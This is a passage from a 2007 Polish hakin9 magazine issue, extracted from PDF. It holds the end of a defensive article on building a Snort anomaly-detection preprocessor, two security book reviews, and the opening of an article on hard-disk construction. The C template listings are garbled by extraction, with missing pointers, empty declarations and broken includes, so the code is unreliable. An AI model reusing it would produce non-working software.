procesor  SPADE  (Statistical  Packet
Anomaly  Detection  Engine)  pozwala-
jący  zgromadzić  charakterystyki,    pa-
kietów,  w  tym  statystyki  ich  występo-
wania. O ile nam jednak wiadomo, pro-
jekt ten po skomercjalizowniu jako SPI-
CE nie jest już rozwijany, natomiast je-
go  starą  wersję  (włącznie  z  kodem
źródłowym)  można  znaleźć  pod  ad-
resem  http://www.bleedingsnort.com/
cgi-bin/viewcvs.cgi/?cvsroot=SPADE.
Ciekawym  pomysłem  jest  rów-
nież  projekt  Snort+AI  wykoprzy-
stujący  sztuczne  sieci  neurono-
we  do  wykrywania  skanowania
portów http://afrodita.unicauca.edu.co/
%7Eaarboleda/snort_ai.htm

Rysunek 1.

Wykres 1

hakin9 Nr 3/2007

www.hakin9.org

Obrona

• Liczba pakietów TCP wewnątrz

sieci LAN,

• Liczba datagramów UDP,
• Liczba wysłanych datagramów

UDP,

• Liczba odebranych datagramów

UDP,

• Liczba datagramów UDP we-

wnątrz sieci LAN,

• Liczba pakietów ICMP,
• Liczba

wysłanych

pakietów

ICMP,

• Liczba odebranych pakietów ICMP,
• Liczba pakietów ICMP wewnątrz

sieci LAN,

• Liczba pakietów z włączonymi

flagami SYN i ACK,

• Liczba wysłanych pakietów port

80 (usługa WWW),

• Liczba odebranych pakietów port

80 (usługa WWW),

• Liczba wysłanych pakietów port

53 (usługa DNS),

• Liczba odebranych pakietów port

53 (usługa DNS),

• Prędkość wysyłania danych w

kB/s (TCP/IP),

• Prędkość ściągania danych w

kB/s (TCP/IP),

• Prędkość wysyłania danych port

80 w kB/s (TCP/IP, WWW),

• Prędkość ściągania danych port

80 w kB/s (TCP/IP, WWW),

• Prędkość wysyłania danych w

kB/s (UDP),

• Prędkość ściągania danych w

kB/s (UDP),

• Prędkość wysyłania danych port

53 w kB/s (UDP, DNS),

• Prędkość ściągania danych port

53 w kB/s (UDP, DNS).

Domyslnie  system  zapisuje  logi  co
600sekund (interwał ten może oczy-
wiście być zmieniony przez użytkow-
nika).  Po  pewnym  czasie  (im  dłuż-
szym  tym  lepiej)  można  spróbo-
wać  wygenerować  profil  sieci,  czy-
li  charakterystykę,  która  informuje
na  przykład  o  tym,  jakie  jest  śred-
nie natężenie (i odchylenie standar-
dowe) ruchu wychodzącego na port
53  UDP  w  poniedziałki  o  godzinie
12:05.

Profil sieci generowany jest za

pomocą  osobnej  aplikacji  o  nazwie
ProfileGenerator. Program ten wczy-
tuje  plik  z  logami  zebranymi  przez
preprocesor  i  na  ich  podstawie  ge-
neruje  plik  profilu.  Zapisywany  jest
on  w  katalogu  /etc  pod  nazwą  pro-
file.txt.  W  pliku  profilu  określone  są
wartość  średnia  i  odchylenie  stan-
dardowe  każdego  z  analizowanych
typów ruchu dla każdego dnia tygo-
dnia i godziny.

W zasadzie powinniśmy poddać

zebrane dane szeregowi testów sta-
tystycznych, żeby sprawdzić jakie-
mu rozkładowi podlegają, jednak na
tym etapie wykorzystaliśmy po pro-
stu średnią i odchylenie standardo-
we. Za anomalię system uzna natę-
żenie ruchu odbiegające od średniej
o więcej niż m odchyleń standardo-
wych:

Gdzie:

- aktualna wartość natężenia

ruchu danego typu,

- wartość średnia ruchu (obli-

czona dla danych historycznych),

m – mnożnik,
- odchylenie standardowe odczy-

tane z profilu (obliczone dla danych
historycznych).

System sprawdza czy aktual-

nie zmierzona wartość ruchu znaj-

Rysunek 2.

Wykres 2

Rysunek 3.

Schemat ideowy systemu. Elementy zaznaczone na niebiesko

są częściami systemu AnomalyDetection.

Zapis logów

Odczyt profilu

Odczyt logów

Preprocesor

AnomalyDetection

Preprocesory

Akwizycja

danych

Dekoder

Pakietów

Silnik

Detekcji

Pluginy

wyjściowe

Logi

Profil sieci

Generator profilu

sieci

Detekcja anomalii ruchu sieciowego w programie Snort

hakin9 Nr 3/2007

www.hakin9.org

duje  się  w  przedziale  ograniczo-
nym przez wartość średnią, do któ-
rej została dodana wartość odchy-
lenia  standardowego  pomnożona
przez  ustaloną  przez  użytkowni-
ka  wartość  mnożnika,  oraz  warto-
ścią średnią, od której została od-
jęta wartość odchylenia standardo-
wego  pomnożona  przez  ustaloną
przez  użytkownika  wartość  mnoż-
nika.  Jeśli  zmierzona  wartość  nie
znajduje się w tym przedziale, ge-
nerowany  jest  alert  o  odpowied-
niej  treści  (ruch  za  duży  lub  za
mały  oraz  typ  ruchu).  Oczywiście
wartość  mnożnika  m  ustala  admi-
nistrator  programu.  Sprawdzaniu
podlegają:

•   Ruch TCP,
•   Ruch ICMP,
•   Ruch UDP,
•   Ruch WWW,
•   Ruch DNS,
•   Liczba otwartych połączeń,
•   Prędkość wysyłania danych,
•   Prędkość odbierania danych.

Na  kolejnym  wykresie  przedsta-
wiono statystykę ruchu TCP wraz
z miejscami, w których wygenero-
wane  zostały  alerty.  Linią  przery-
waną zaznaczona jest granica wy-
znaczona  przez  dodanie  i  odję-
cie  od  wartości  średniej  odchyle-
nia  standardowego  pomnożone-
go  przez  2,5.  Na  większości  wy-
kresów  widać  ją  tylko  ponad  da-
nymi, które są zaznaczone na żół-
to.  Jest  to  spowodowane  tym,  że
gdy  wartość  graniczna  schodzi-
ła  poniżej  zera  jej  wartość  usta-
wiana była na zero (pojęcie ujem-
nego  natężenia  ruchu  sieciowego
nie  ma  sensu  fizycznego).  Czer-
wone  krzyżyki  oznaczają  sytu-
acje, w których wygenerowany zo-
stał alert.

Parę szczegółów

System  składa  się  z  dwóch  napi-
sanych  przez  nas  programów.  Jed-
nym  z  nich  jest  preprocesor    reali-
zujący  zapisywanie  parametrów  ru-
chu  przechwyconego  przez  Snorta
w określonych odcinkach czasu oraz
porównywanie  parametrów  aktual-

nie przechwyconego ruchu z profi-
lem, drugim programem jest gene-
rator profili.

Przepływ danych w systemie ob-

razuje schemat ideowy systemu (Ry-
sunek 3.).

Listing 1.

Struktura pliku nagłówkowego

#ifndef __SPP_PREPROCESOR_H__

#define __SPP_PREPROCESOR_H__

void

SetupPreprocesor

(

void

);

typedef

struct

_PreprocStruct

{

int

;

char

string

;

}

PreprocStruct

;

int

PreprocCounter

;

void

mySecondFunction

(

char

str

);

extern

PreprocStruct

mySecondStruct

;

endif

Listing 2.

Struktura pliku spp_template.c jest następująca:

#include

include

"plugbase.h

3 #include "

decode

4 #include "

spp_preprocesor

”

void

PreprocesorInit

(

u_char

args

);

void

PreprocesorFunc

();

void

PreprocesorCleanExitFunction

();

void

PreprocesorRestartFunction

();

void

SetupPreprocesor

(

void

)

{

printf

(

"Rejestruje preprocesor...

);

RegisterPreprocessor

(

"preprocesor"

PreprocesorInit

);

}

static

void

PreprocesorInit

(

u_char

args

)

{

ParsePreprocesorArgs

((

char

args

);

AddFuncToPreprocList

(

PreprocesorFunc

);

AddFuncToCleanExitList

(

PreprocesorCleanExitFunction

NULL

);

AddFuncToRestartList

(

PreprocesorRestartFunction

NULL

);

}

void

PreprocesorFunc

(

Packet

)

{

printf

(

"Przyszedl pakiet

);

}

void

PreprocesorRestart

Function

()

{

}

void

PreprocesorCleanExit

Function

()

{

}

hakin9 Nr 3/2007

www.hakin9.org

Obrona

Preprocesory

Preprocesory  są  to  dołączalne  mo-
duły programu Snort. W przepływie
danych  znajdują  się  one  przed  sil-
nikiem detekcji wykorzystującym re-
guły  i  są  wywoływane  w  momen-
cie  nadejścia  pakietu.  Snort  jest
napisany  w  języku  C,  zatem  pre-
procesory  pisane  są  również  za-
zwyczaj  w  C.  Informacje  na  te-
mat  preprocesorów  dołączonych
do  programu  Snort  znaleźć  można
pod  adresem:  http://www.snort.org/

docs/snort_htmanuals/htmanual_

2.4/node11.html

Preprocesor powinno się pisać

w  momencie,  gdy  nie  jesteśmy  w
stanie  osiągnąć  pewnej  funkcjo-
nalności  systemu  poprzez  napisa-
nie reguły. Ważne jest aby prepro-
cessor  działał  z  rozsądną  prędko-
ścią.  Napisanie  zbyt  skomplikowa-
nego  obliczeniowo  preprocesora
(bardzo  istotna  jest  optymalizacja
kodu) lub zbyt dużej ich liczby mo-
że spowodować ogólny spadek wy-
dajności systemu.

Autorzy programu dołączyli do

źródeł Snorta szablony preproce-
sora. Można je znaleźć w katalogu

$SNORT _ DIR/templates

. Są to dwa

pliki:

spp_template.h,
spp_template.c.

Instrukcje w liniach 1-3 są wymaga-
ne – pierwsze dwie to instrukcje ste-
rujące dla kompilatora, a trzecia to
prototyp funkcji rejestrującej bieżący
preprocesor przy inicjalizacji prepro-
cesorów przez Snorta. Pozostałe de-
klaracje są opcjonalne i mają sens w
przypadku, gdy zmienne będą uży-
wane przez kilka preprocesorów.

Pierwsze cztery instrukcje dołą-

czają niezbędne pliki nagłówkowe.
Kolejne instrukcje deklarują prototy-
py kolejno:

• Funkcji inicjalizującej preproce-

sor

• Funkcji głównej preprocesora
• Funkcji wywoływanej przy wy-

chodzeniu z programu

• Funkcji wywoływanej przy restar-

cie aplikacji

W  liniach  9-12  zdefiniowana  jest
funkcja  rejestrująca  preprocesor  w
Snorcie  (prototyp  funkcji  Register-
Preprocessor()  znajduje  się  w  pliku
plugbase.h, jej argumenty to nazwa
preprocesora z pliku konfiguracyjne-
go oraz funkcja inicjalizująca). Kolej-
ne 6 linii to definicja funkcji inicjalizu-
jącej preprocesor. W ciele tej funkcji
znajdują się kolejno:

-funkcja analizująca argumenty z

pliku konfiguracyjnego;

-funkcja dodająca funkcję głów-

ną preprocesora do listy preproce-
sorów Snorta;

-funkcja rejestrująca funkcję wy-

woływaną przy zamykaniu aplikacji
przez ctrl+c;

-funkcja rejestrująca funkcję wy-

woływaną przy restartowaniu apli-
kacji.

Od linii 19 znajdują się definicje

funkcji  głównej  preprocesora  wy-
woływanej przez Snorta w momen-
cie przechwycenia pakietu oraz de-
finicje  funkcji  wywoływanych  przy
zamykaniu  i  restartowaniu  aplika-
cji.  Te  trzy  funkcje  budują  (mery-
toryczną)  funkcjonalność  prepro-
cesora.

Po napisaniu, pliki źródłowe oraz

nagłówkowe preprocesora należy
skopiować do katalogu

$SNORT _ DIR/

src/preprocessors

. Aby dodać pre-

procesor do systemu Snort nale-
ży przed kompilacją całego syste-
mu kolejno:

1. Wyedytować plik

$SNORT _ DIR/

src/plugbase.c:

dodać pliki nagłówkowe naszego

preprocesora :

#include

“preprocessors/spp _

nowy.h”

//przykladowa nazwa pre-

procesora

dodać do ciała funkcji InitPrepro-

cessors() funkcję rejestrującą pre-
procesor

2. Wyedytować plik $SNORT_

DIR/src/preprocessors/Makefile
(jeśli już został wygenerowany)
lub

$SNORT _ DIR/src/preprocessors/

Makefile.in

(jeśli jeszcze nie zo-

stał wygenerowany przez polecenie
./configure) i dodać:

W sekcji l

ibspp _ a _ SOURCES =

spp _ arpspoof.c spp _ arpspoof.h (…)
spp _ spp _ nowy.c spp _ spp _ nowy.h

//spp _ nowy.*

są to przykładowe na-

zwy preprocesora

W sekcji

am _ libspp _ a _ OBJECTS

= (…)str _ search.$(OBJEXT) spp _
spp _ nowy.$(OBJEXT)

Należy skompilować (lub prze-

kompilować) Snorta za pomocą po-
lecenia: make, następnie zainstalo-
wać poleceniem: make install.

Po kompilacji należy dopisać do

pliku konfiguracyjnego Snorta, któ-
ry znajduje się domyślnie w

etc/

snort.conf

, w sekcji preprocesorów

stworzony przez nas preprocesor:

preprocessor nazwa_preprocesora:

argumenty.

Jeśli wszystko poszło zgodnie z

planem pozostaje tylko cieszyć się
nową funkcjonalnością.

Przedstawiony projekt jest

oczywiście  jeszcze  na  bardzo
wczesnym  etapie  rozwoju.  Warto
zastanowić się na przykład nad tym
czy  system  powinien  mieć  możli-
wość automatycznego uczenia się,
zmian profilu sieci (można to zreali-
zować choćby przez cykliczne wy-
woływanie  generatora  profili  połą-
czone  z  usuwaniem  informacji  o
najstarszych  historycznych  warto-
ściach  ruchu).  Takie  metody  sto-
suje  się  zazwyczaj  w  tego  typu
rozwiązaniach,  żeby  uniknąć  nad-
miaru fałszywych alertów typu fal-
se  positive.  W  takich  przypadkach
atakujący  może  jednak  przyuczyć
system  do  nierozpoznawania  jego
aktywności powoli oswajając go ze
zmianami profilu. Innymi elementa-
mi, które planujemy w ramach roz-
wijania systemu  są: tworzenie pro-
filu dla każdego hosta w sieci, ana-
liza i rozpoznanie rozkładów staty-
stycznych  poszczególnych  typów
ruchu,  implementacja  analizy  za-
leżności pomiędzy poszczególnymi
parametrami  (np.  stosunek  liczby
wysłanych pakietów TCP do liczby
odebranych  pakietów  TCP),  anali-
za  poprawności  uzyskanego  wyni-
ku  przed  dodaniem  go  do  logów,
zapis i analiza pakietów przechwy-
conych w momencie wykrycia ano-
malii.  Oczywiście  wszystkich  za-
interesowanych  zapraszamy  ser-
decznie do współpracy. l

hakin9 Nr 3/2007

www.hakin9.org

Tytuł: Bezpieczeństwo w Windows Server 2003 Kompendium

Autor: Roberta Bragg

Wydawnictwo: Addison Wesley / Helion
Rok wydania: 2006

Stron: 1227

Księgozbiór

„Bezpieczeństwo…” nie jest książką, którą można pole-
cić  początkującym  administratorom  Windows  2003.  Od
czytelnika  wymagana  jest  przynajmniej  podstawowa
znajomość zasad funkcjonowania usługi Active Directo-
ry oraz świadomość możliwości jakie oferuje ten system.
Nie ma w tej publikacji  objaśnień krok po kroku wprowa-
dzających  w  mechanizmy  działające  na  serwerze.  Nie
znajdziemy  w  niej  jakże  popularnych  „wyklików”  uczą-
cych  gdzie,  co  i  jak  należy  włączyć,  ani  spisu  zasad
zabezpieczeń do wdrożenia.  Nie doszukamy się opisów
słabych punktów systemu, czy wskazówek jak je zabez-
pieczyć.

Opracowanie Roberty Bragg zdecydowanie tego

typu uproszczeń unika. Autorka oparła konstrukcję swojej
publikacji na domyślnej polityce bezpieczeństwa informa-
cji, zaprezentowanej , w ogromnym rzecz jasna skrócie w
rozdziale pierwszym. Następne rozdziały – ich kolejność i
omawiane zagadnienia są logicznym tej polityki rozwinię-
ciem. Na ponad 1200 stronach podzielonych na 7 części

i  19  rozdziałów    analizujemy  razem  z  Robertą  tematykę
uwierzytelniania i autoryzacji, zastanawiamy się jaka poli-
tyka w kwestii haseł przyniesie najlepsze rezultaty, badamy
zagadnienia poprawnego nadawania uprawnień i przywile-
jów. Zastanawiamy się nad rolą, jaką w bezpieczeństwie
domeny  pełni  usługa  ActiveDirectory,  porównujemy  roz-
wiązania  Win2003  z tymi znanymi z NT 4.0. Przeanali-
zujemy także kwestię zabezpieczeń samej usługi. W publi-
kacji nie zabrakło omówienia systemu szyfrowania plików
EFS  czy  zagadnień  związanych  z  infrastrukturą  klucza
publicznego.  Pod  koniec  znalazły  swoje  miejsce  także
kwestie dotyczące konserwacji, monitorowania, odtwarza-
nia danych czy zabezpieczania sieci wirtualnych. Jak więc
widać z tego bardzo skrótowego omówienia , praca Rober-
ty Bragg, zasługuje na miano kompendium.  Kompendium
skierowanego  do  bardzo  świadomego,  wręcz  dojrzałego
administratora  sieci,  nastawionego  na  dokładniejsze  zro-
zumienie, a przez to lepsze zastosowanie filozofii bezpie-
czeństwa jaką propaguje i wspiera Windows 2003 Server.

Tytuł: Bezpieczeństwo protokołu TCP/IP kompletny przewodnik

Autor: Libor Dostálek

Wydawnictwo: Mikom

Rok wydania: 2006

Stron: 768

Jak  nietrudno  się  domyślić  –  bezpieczeństwo  protokołu
TCP/IP to temat rzeka. Łatwo jest w nim utonąć i łatwo się
pogubić.  To pierwsze grozi czytelnikowi, którego wiedza
na temat protokołu jest bardzo podstawowa, to drugie nato-
miast grozi autorom, którzy zdecydują się zabrać za opisy-
wanie tak obszernego tematu . Libor Dostálek, który  wraz
z grupą współautorów pokusił się o napisanie kompletne-
go przewodnika po bezpieczeństwie protokołu, wyszedł z
tej  próby  obronną  ręką.  Otrzymaliśmy  bowiem  ogromnie
ciekawą książkę, upakowaną konkretną wiedzą, unikającą

wodolejstwa, choć nie da się ukryć, że autorzy mają nieja-
ką czkawkę związaną z historią kraju, a wysiłki tłumacza by
coś z tym fantem uczynić tylko ją podkreślają.

Prócz tego akcentu „folklorystycznego”, w książce trudno

znaleźć słabsze momenty, chociaż osoby przyzwyczajone
do „klasycznego” opisu warstw lub też lubujące się w ska-
kaniu po lekturze mogą mieć problemy z zaakceptowaniem
zaproponowanej kolejności omawianych zagadnień.

Można natomiast zastanawiać się z jakiego powodu

omówienie OpenSSL znalazło się na samym końcu publika-
cji w sytuacji, kiedy spora część prezentowanego wcześniej
materiału w jakimś sensie bazuje na tym pakiecie.

Reasumując - „Bezpieczeństwo” jest pozycją po którą

warto sięgnąć, a Mikom jeszcze raz potwierdził, że książ-
ki oznaczone symbolem „zakazu wjazdu” to publikacje na
dobrym poziomie, które po prostu należy znać.

Recenzje  opracowali  Krystyna  Wal  i  Łukasz  Długosz  z
zespołu  InfoProf  (http://www.infoprof.pl/).  Książki  do  recen-
zji  udostępniła  Księgarnia  Informatyczna  w  Krakowie  (http:
//www.informatyczna.pl/).

www.hakin9.org

hakin9 Nr 3/2007

Sprzęt

ierwszy w historii twardy dysk poja-
wił się w 1957 roku. Wtedy to IBM za-
prezentował urządzenie o nazwie RA-

MAC 350 – złożony z pięćdziesięciu 24-calo-
wych dysków zespół miał pojemność 5 MB, a
koszt jego rocznej dzierżawy wynosił 35 tys.
dolarów; jak nietrudno policzyć, oznaczało to
7 tys. dolarów za megabajt. W epoce maszyn
mainframe  budowano  całe  farmy  dysków  z
zamkniętymi  w  klimatyzowanych  pomiesz-
czeniach zestawami talerzy o średnicach 14
czy  8  cali,  wartymi  grube  dziesiątki  tysięcy
dolarów. Pojawienie się IBM PC w roku 1981
wcale  nie  zapowiadało  rewolucji  w  dziedzi-
nie pamięci masowych – system operacyjny

prapeceta zawierał procedury obsługi pamię-
ci w postaci magnetofonu kasetowego, choć
oczywiście  istniała  także  możliwość  korzy-
stania ze stacji dyskietek. Lista opcjonalnego
wyposażenia  IBM  PC/XT  z  roku  1983  obej-
muje już twardy dysk o pojemności 5 lub 10
MB  –  ówczesne  napędy  o  znajomej  średni-
cy  5,25  miały  wysokość  trzech  cali  (podob-
nie  zresztą,  jak  wczesne  stacje  dyskietek)  i
stąd właśnie określenie full height (współcze-
sny czytnik CD-ROM to half height). W roku
1984 Western Digital skonstruował – dzierżą-

cy przez kilka lat godność standardu przemy-
słowego, zastosowany w IBM PC/AT interfejs
ST506, zaś w 1986 roku opracowano wraz z
firmą Compaq znany dziś interfejs IDE (Inte-

grated Drive Electronics). Mniej więcej rok
później w komputerach stacjonarnych zaczę-
to instalować dyski 3,5 (o wysokości 1, czyli

low profile) – dopiero potem znalazły one za-
stosowanie w laptopach. Postęp technologii
powodował ciągły wzrost pojemności i szyb-
kości urządzeń, przy jednoczesnym spadku
zapotrzebowania na energię, coraz mniejszej
hałaśliwości i większej niezawodności. Wyni-
ki tego wyścigu obserwujemy na co dzień.

Dyski Twarde

Rafał Podsiadły

stopień trudności

Historia pamięci masowych sięga połowy dziewiętnastego wieku

– już wtedy używano kart perforowanych do wprowadzania

danych do mechanicznych maszyn liczących. Pierwsze

elektroniczne komputery korzystały z pamięci zbudowanej z

lamp elektronowych, potem zaczęły pojawiać się różne pamięci

magnetyczne: bąbelkowe, taśmowe, bębnowe.

Z artykułu dowiesz się...

• budowa dysku twardego,
• informacje dotyczące możliwych do wystąpie-

nia awarii,

• pojęcia dotyczące twardych dysków.

Co powinieneś wiedzieć...

• podstawowe pojęcia dotyczące twardych dys-

ków.

Dyski Twarde

hakin9 Nr 3/2007

www.hakin9.org

Dysk twardy – budowa

Dysk stały to wirujący talerz lub ze-
spół  talerzy  o  powierzchni  pokry-
tej  nośnikiem  magnetycznym,  a  od-
powiednio  ustawiane  na  tych  po-
wierzchniach  głowice  zapisują  i  od-
czytują dane.

Budowa HDD

(Hard Disc Driver)

W  dalszej  kolejności  dysk  twar-
dy  można  podzielić  na  następujące
strefy:  obudowa,  elementy  elektro-
niczne, elementy mechaniczne, ele-
menty magnetyczne.

Obudowa

Zadaniem  obudowy  jest  ochrona
znajdujących  się  w  niej  elementów
przed  uszkodzeniami  mechanicz-
nymi a także przed wszelkimi czą-
steczkami  zanieczyszczeń  znajdu-
jącymi się w powietrzu. Jest to ko-
nieczne,  gdyż  nawet  najmniejsza
cząstka kurzu ma wymiary większe
niż  odległość  pomiędzy  głowicą,  a
powierzchnią nośnika, tak więc mo-
głaby  ona  zakłócić  odczyt  danych,
a  nawet  uszkodzić  powierzchnię
bardzo  szybko  obracającego  się
talerza dysku. W obecnych obudo-
wach  jest  umieszczana  mała  dziu-
ra,  która  zapewnia  wyrównywanie
ciśnienia w dysku. Ponieważ szyb-
ko  obracające  się  talerze  zmienia-
ją  ciśnienie    wewnątrz  urządzenia,
konieczna jest jego regulacja, przez
zamontowany  otwór  posiadający

odpowiednie filtry oczyszczające
powietrze z pyłków i różnego rodza-
ju zanieczyszczeń.

Dysk twardy firmy Seagate

Elementy  elektroniczne  –  Głównym
celem podzespołów elektronicznych
jest  kontrola  ustalenia  głowicy  nad
wybranym  miejscem  dysku,  odczyt
i  zapis  danych  oraz  ich  ewentualna
korekcja. Jest to w zasadzie osobny
komputer, którego zadaniem jest je-
dynie obsługa dysku.

Elementy magnetyczne

Nośnik  magnetyczny,  umieszczony
na wielu wirujących talerzach wyko-
nanych najczęściej ze stopów alumi-
nium. Zapewnia to ich niewielką ma-
sę,  a  więc  niewielką  bezwładność,
co  umożliwia  zastosowanie  silników
napędowych mniejszej mocy, a tak-
że  szybsze  rozpędzanie  się  talerzy
do prędkości roboczej.

Elementy mechaniczne

Zadaniem  tych  elementów  jest
szybkie  przesuwanie  głowicy  nad
wybrane  miejsce  na  dysku  reali-
zowane  za  pomocą  ramienia.  W
tej  technologii  wskazane  jest  sto-
sowanie  materiałów  lekkich  o  du-
żej  wytrzymałości,  co  dzięki  małej
ich  bezwładności  zapewnia  szyb-
kie i sprawne wykonywanie posta-
wionych zadań. Ważny jet tu także
silnik pozwalający obracać talerza-
mi dysku.

Głowica

W  nowoczesnych  konstrukcjach  sto-
suje się tak zwane głowice magneto-
rezystywne.  Powinno  się  raczej  uży-
wać  określenia  hybrydowe  –  do  za-
pisu danych służy elektromagnetycz-
na głowica cienkowarstwowa (jej mi-
kroskopijna  ceweczka  ma  około  10
zwojów),  głowica  magnetorezystyw-
na (cienko foliowa) służy do odczytu.
Pierwsze z nich to tradycyjne głowice
z rdzeniem wykonanym z tlenków że-
laza oraz cewką elektromagnetyczną.
Głowice  te  są  cięższe  i  większe  niż
głowice cienko foliowe. Wymagają też
większej wysokości zawieszenia nad
wirującym  dyskiem.  Głowice  cienko
foliowe są układami półprzewodniko-
wymi. Są one produkowane w proce-
sie zgodnym z produkcją innych ukła-
dów scalonych, z tą różnicą, że mu-
szą one mieć kształt odwróconej lite-
ry U, aby zapewnić właściwe ciśnienie
powietrza. Głowice te są lżejsze i za-
wieszone są na wysokości około mi-
lionowych części cala nad wirującym
dyskiem.  Zmniejszona  wysokość  za-
wieszenia  umożliwia  transmisję  sil-
niejszego  sygnału  pomiędzy  głowicą
a  dyskiem,  co  z  kolei  zwiększa  nie-
zawodność. Głowica takawykorzystu-
je  efekt  zmiany  oporności  elektrycz-
nej specjalnego materiału (stop żela-
za i niklu) przy zmianie pola magne-
tycznego i jest o wiele czulsza od gło-
wicy  elektromagnetycznej.  Pozwala
to znacznie zmniejszyć powierzchnię
zajmowaną przez każdy bit informacji,
a więc – zwiększyć gęstość zapisu.

Dysk posiada dwie głowice dla

każdej  powierzchni.  Pierwsza  do-
konuje  zapisu,  druga  odczytu.  Tak
więc  dysk  posiadający  dwa  talerze
i mający cztery powierzchnie, posia-
da  w  rzeczywistości  osiem  głowic.
Wszystkie głowice połączone są jed-
nym  mechanizmem  i  poruszają  się
jednocześnie. Każda z głowic zamo-
cowana jest na końcu ramienia, któ-
re, gdy dysk nie pracuje (jest w sta-
nie  spoczynku),  dociska  głowice  do
powierzchni talerzy za pomocą sprę-
żyn.  Dopiero  po  osiągnięciu  wyma-
ganej  prędkości  obrotowej  nastę-
puje  ich  gwałtowne  wysunięcie  nad
powierzchnię dysku i ustawienie nad
cylindrem  zerowym.  Podczas  obro-

Rysunek 1.

Wnętrze twardego dysku

WNĘTRZE TWARDEGO DYSKU

Talerz dysku

Ramie

głowicy

Układ pozycjonowania

głowicy

Głowica dysku

Wewnętrzne

łącza głowicy

z kontrolerem

dysku

hakin9 Nr 3/2007

www.hakin9.org

Sprzęt

tów dysku nie stykają się one z jego
powierzchnią – powstająca w wyni-
ku szybkich obrotów talerzy podusz-
ka powietrzna utrzymuje głowice tuż
nad dyskiem. Rozwiązanie takie na-
zywane jest pływającymi głowicami i
jak na razie jest bezkonkurencyjne i
stosowane powszechnie, chociaż są
już w toku prace nad innymi sposo-
bami prowadzenia głowic.

Standardowe głowice zapisują-

co-odczytujące  (zwane  też  głowica-
mi  cienkowarstwowymi)  posiadają
miniaturową  cewkę,  która  umożliwia
zapis  danych  na  płycie  magnetycz-
nej  lub  ich  odczyt.  Gdy  na  twardym
dysku  zapisywane  są  dane,  specjal-
ny układ elektroniczny wysyła impulsy
elektryczne  do  cewki.  W  ten  sposób
powstaje pole magnetyczne, które po-
rządkuje poszczególne cząstki na po-
wierzchni dysku. W przypadku odczy-
tu  danych  następuje  procedura  od-
wrotna. Namagnesowana powierzch-
nia dysku indukuje prąd w cewce, któ-
ry jest następnie przetwarzany przez
układ  elektroniczny  napędu.  Nowo-
czesne dyski twarde wyposażone są
w  dodatkową  głowicę  magnetorezy-
stywną (MR), umożliwiającą odczyty-
wanie danych z powierzchni nośnika.
Głowica  zawiera  pewną  domieszkę
specjalnego stopu żelaza i niklu, któ-
ry pod wpływem pola magnetycznego
zmienia swój opór elektryczny. Do za-
pisu danych jest natomiast w dalszym
ciągu  wykorzystywana  głowica  cien-
kowarstwowa.  Zasadniczą  zaletą  ta-
kiego rozwiązania jest fakt, że głowi-
cą  MR  potrafi  prawidłowo  rozpozna-
wać dane także wtedy, gdy dysk ob-
raca się z dużą prędkością, a sektory
ułożone są bardzo gęsto.

Zmiany prądu

w uzwojeniu głowicy

Istnieje  wiele  metod  zapisu  infor-
macji  cyfrowej  na  nośniku  magne-
tycznym.  Rysunek    ilustruje  zmia-
ny  prądu  magnesującego  w  głowi-
cy  zapisu  dla  kilku  metod,  w  przy-
padku  gdy  na  odcinku  nośnika  ma-
gnetycznego chcemy zapisać nastę-
pujący, przykładowy ciąg informacji:
01111011000.  Metoda  Bez  powro-

tu do zera (ang. Non Return to Ze-

ro, NRZ) polega na tym, że zmiana
kierunku prądu w głowicy zapisu na-
stępuje w chwili zmiany wartości ko-
lejnych bitów informacji. Zmiana kie-
runku prądu nie występuje podczas
zapisywania  ciągu  zer  lub  jedynek.
Metoda  ta  nie  posiada  możliwości
samosynchronizacji,  tzn.  z  informa-
cji  odczytanej  nie  da  się  wydzielić
impulsów  (synchronizujących)  okre-
ślających  położenie  komórki  bito-
wej.  W  Metodzie  Modulacji  często-

tliwości (ang. Frequency Modulation,

FM), przy modulacji FM prąd głowi-
cy  zapisu  zmienia  kierunek  na  po-
czątku każdej komórki bitowej, oraz
w  środku  komórki,  gdy  zapisywa-
ny  bit  ma  wartość  jedynki.  Metoda
zmodyfikowanej  modulacji  częstotli-
wości (MFM). Metoda FM nazywana
jest także zapisem z pojedynczą gę-
stością  i  jest  stosowana  standardo-
wo w dyskietkach 8-calowych. Meto-
da MFM nazywana jest metodą z po-
dwójną gęstością, dzięki niej podwa-
jana jest pojemność dyskietki. Stosu-
je się tu następującą regułę:

• 1.bit o wartości 1 ustawia impuls

zapisujący pośrodku komórki bi-
towej (interwału czasowego);

• 2.bit o wartości 0 ustawia impuls

na początku komórki bitowej,
lecz tylko wtedy, gdy poprzedni
bit nie jest równy 1.

W  metodzie  tej  dla  odtworzenia  da-
nych, w trakcie odczytu stosowany jest
układ z pętlą synchronizacji fazy PLL
(ang.  Phase-Locked  Loop),  tworzący
ciąg impulsów taktowych (READ DA-
TA WINDOW – RDW), na podstawie
impulsów  odczytanych  z  głowicy  od-
czytu o nazwie READ DATA. Metoda
RLL  (ang.  Run-Length-Limited)  redu-

kuje o ok. 35 procent ilość przemagne-
sowań nośnika – można zatem, przy
niezmienionej maksymalnej częstotli-
wości pracy, półtorakrotnie zwiększyć
gęstość zapisu danych.

Porównanie

metod zapisu

Zapis  danych  binarnych  w  formie
magnetycznej  nie  jest  dokonywa-
ny  bezpośrednio  „bit  w  bit”  –  dane
przeznaczone do zapisu są kodowa-
ne według pewnych algorytmów, któ-
rych zadaniem jest usprawnienie od-
czytu, a także zapewnienie większej
jednoznaczności  zapisu.  Kodowa-
nie danych przeznaczonych do zapi-
su składa się z dwu faz – najpierw do
zapisywanych danych dodawane są
dane nadmiarowe umożliwiające de-
tekcję i korektę ewentualnych błędów
odczytu (CRC – Cyclic Redundancy

Code  –  najprostszy,  a  zarazem  je-
den  z  najefektywniejszych  algoryt-
mów wprowadzania danych nadmia-
rowych  dla  celów  korekcji  błędów),
następnie zaś wynikowe wartości są
przekształcane  tak,  by  uniknąć  po-
wtarzania dłuższych ciągów powta-
rzających się zer czy jedynek.

Historycznie pierwszym syste-

mem kodowania danych był MFM,
dziś już zupełnie nie stosowany, wy-
party następnie przez kodowanie RLL

(Run  Lenght  Limited)  stosowane  w
dyskach  sztywnych  do  niedawna,  a
wciąż  jeszcze  używane  przy  zapisie
na  dyskietkach.  Obecnie  powszech-
nie  stosowaną  techniką  kodowania
danych  na  dysku  jest  PRML  (Par-

tial  Response  Maximum  Likelihood),
która  zapewnia  największą  efektyw-
ną gęstość zapisu, a także najniższą
stopę błędu odczytu danych. Techni-
ka PRML wymaga stosowania w ukła-
dach sterujących dysku specjalizowa-
nych  procesorów  o  dużej  mocy,  jed-
nak  technologie  krzemowe  są  obec-
